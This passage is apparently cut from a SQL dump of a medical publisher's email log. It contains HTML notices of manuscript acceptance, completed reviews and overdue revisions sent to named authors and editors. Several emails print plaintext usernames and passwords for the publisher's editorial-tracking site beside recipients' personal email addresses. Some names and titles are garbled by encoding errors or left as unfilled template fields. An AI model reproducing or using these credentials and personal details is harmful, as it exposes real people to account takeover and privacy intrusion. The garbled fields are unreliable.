/>\r\n            <br />\r\n            It is accepted on  <b>2021-06-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','support@ghlf.org',9068,'2021-06-28',48),(3368,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8953</b><br />\r\n            <br />\r\n            Article Title: <b>Attitudes of Mental Health Nurses Toward Substance Use Patients and Their Treatment at Iradah Complex for Psychiatry in Jeddah</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hasan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','aalhasan@fakeeh.care',8953,'2021-06-29',48),(3370,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-8208</b><br />\r\n            <br />\r\n            Article Title: <b>Safety of Endovascular Thrombectomy in Anticoagulated Patients with Acute Ischaemic Stroke: A Systematic Review and Meta-Analysis</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Jake Hindmarch</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-8208</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',8208,'2021-06-29',75),(3371,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-8208</b><br />\r\n            <br />\r\n            Article Title: <b>Safety of Endovascular Thrombectomy in Anticoagulated Patients with Acute Ischaemic Stroke: A Systematic Review and Meta-Analysis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hindmarch</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Jakehindmarch19@gmail.com',8208,'2021-06-29',75),(3372,'<p>Ref.:  Ms. No. : <b>ipaom-21-8594</b><br />\r\n<br />\r\nARTICLE TITLE: <b>SOCIAL DISPARITIES:  HEALTH CARE  OF THE AFRO-BRAZILIAN POPULATION: SYSTEMATIC REVIEW</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Rolim Neto</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-8594</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>modesto_leite</b><br />\r\npassword: <b>aVNPWHQq</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','modesto.neto@ufca.edu.br',8594,'2021-06-29',85),(3381,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-9102</b><br />\r\n            <br />\r\n            Article Title: <b>M.D., Ph.D.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Alica Hokynkov&Atilde;&iexcl;</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wang</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>IPJUS-21-9102</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> yang<br />\r\n            <b>Password:</b> MikP82VX<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ivywang@creighton.edu',9102,'2021-07-01',319),(3382,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-9102</b><br />\r\n            <br />\r\n            Article Title: <b>M.D., Ph.D.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hokynkov&Atilde;&iexcl;</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','alicah@post.cz',9102,'2021-07-01',319),(3386,'<p>Ref.:  Ms. No. : <b>ipaom-21-8594</b><br />\r\n<br />\r\nARTICLE TITLE: <b>SOCIAL DISPARITIES:  HEALTH CARE  OF THE AFRO-BRAZILIAN POPULATION: SYSTEMATIC REVIEW</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Rolim Neto</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-8594</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>modesto_leite</b><br />\r\npassword: <b>aVNPWHQq</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','modesto.neto@ufca.edu.br',8594,'2021-07-06',85),(3391,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8594</b><br />\r\n            <br />\r\n            Article Title: <b>SOCIAL DISPARITIES:  HEALTH CARE  OF THE AFRO-BRAZILIAN POPULATION: SYSTEMATIC REVIEW</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Modesto Leite Rolim Neto</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Minic </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8594</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> ivann<br />\r\n            <b>Password:</b> UqeyShwL<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ivanminicc@yahoo.com',8594,'2021-07-07',85),(3392,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8595</b><br />\r\n            <br />\r\n            Article Title: <b>THE MEMORY OF AN OUTRAGEOUS PUBLIC HEALTH SCANDAL</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Modesto Leite Rolim Neto</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lukasz </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8595</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> szarpak<br />\r\n            <b>Password:</b> eRgytVxj<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','lukasz.szarpak@gmail.com',8595,'2021-07-07',85),(3394,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8705</b><br />\r\n            <br />\r\n            Article Title: <b>TROMBOCITOPENIA AGUDA SEVERA ASOCIADA AL USO DE TIROFIBAN POSTERIOR A INTERVENCI&Atilde;&ldquo;N CORONARIA PERCUT&Atilde;NEA: A PROP&Atilde;&ldquo;SITO DE UN CASO</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>MORENO</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-07</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Guamosi@hotmail.com',8705,'2021-07-07',274),(3395,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8885</b><br />\r\n            <br />\r\n            Article Title: <b>Deficiencia cong&eacute;nita de factor VII: reporte de caso y revisi&oacute;n de literatura</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Diana Ram&Atilde;&fnof;&Acirc;&shy;rez Rivera</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Loubon</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipadm-21-8885</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> christian_ortega<br />\r\n            <b>Password:</b> 3QVkU3Gq<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','christlord26@gmail.com',8885,'2021-07-08',274),(3396,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8885</b><br />\r\n            <br />\r\n            Article Title: <b>Deficiencia cong&eacute;nita de factor VII: reporte de caso y revisi&oacute;n de literatura</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ram&Atilde;&fnof;&Acirc;&shy;rez Rivera</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-07</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dianaramirezaxs1@gmail.com',8885,'2021-07-08',274),(3397,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8885</b><br />\r\n            <br />\r\n            Article Title: <b>Deficiencia cong&eacute;nita de factor VII: reporte de caso y revisi&oacute;n de literatura</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ram&Atilde;&fnof;&Acirc;&shy;rez Rivera</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-07</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dianaramirezaxs1@gmail.com',8885,'2021-07-08',274),(3398,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8874</b><br />\r\n            <br />\r\n            Article Title: <b>NEW PHARMACOLOGICAL THERAPEUTIC APPROACHES FOR DEPRESSIVE DISORDERS: A SYSTEMATIC REVIEW</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Modesto Leite Rolim Neto</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Minic </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8874</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> ivann<br />\r\n            <b>Password:</b> UqeyShwL<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ivanminicc@yahoo.com',8874,'2021-07-08',85),(3404,'<p>Ref.:  Ms. No. : <b>ipadm-21-8837</b><br />\r\n<br />\r\nARTICLE TITLE: <b>S&Atilde;NDROME CORONARIO AGUDO SECUNDARIO A ENFERMEDAD DEL TRONCO CORONARIO IZQUIERDO</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Gomez Asis</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-8837</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>jose_isidro</b><br />\r\npassword: <b>uJYEbmQn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','juancho251997@hotmail.com',8837,'2021-07-08',274),(3405,'<p>Ref.:  Ms. No. : <b>ipadm-21-8707</b><br />\r\n<br />\r\nARTICLE TITLE: <b> TOXICIDAD RENAL POR TENOFOVIR: A PROP&Atilde;&ldquo;SITO DE UN CASO. </b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Montoya</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-8707</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>mario</b><br />\r\npassword: <b>7wzLqseP</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','jermu1708@hotmail.com',8707,'2021-07-08',274),(3406,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8874</b><br />\r\n            <br />\r\n            Article Title: <b>NEW PHARMACOLOGICAL THERAPEUTIC APPROACHES FOR DEPRESSIVE DISORDERS: A SYSTEMATIC REVIEW</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rolim Neto</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','modesto.neto@ufca.edu.br',8874,'2021-07-09',85),(3407,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8873</b><br />\r\n            <br />\r\n            Article Title: <b>NEUROLOGICAL CHARACTERISTICS DUE TO COVID - 19: KNOWLEDGE OF THE POSSIBLE PATHWAYS THAT LEAD TO INFECTION AND ITS REPERCUSSIONS ON THE NERVOUS SYSTEM</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Modesto Leite Rolim Neto</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Arda </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8873</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> isik<br />\r\n            <b>Password:</b> 1GqmD6Ny<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kararda@yahoo.com',8873,'2021-07-09',85),(3408,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9235</b><br />\r\n            <br />\r\n            Article Title: <b>RUPTURA DE MULTIPLES ANEURISMAS CEREBRALES ASOCIADO A SINDROME DE SJ&Ouml;GREN SECUNDARIO. REPORTE DE UN CASO</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Jose David Saenz Lopez</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Tavares S&aacute;nchez</b><br />\r\n            <br 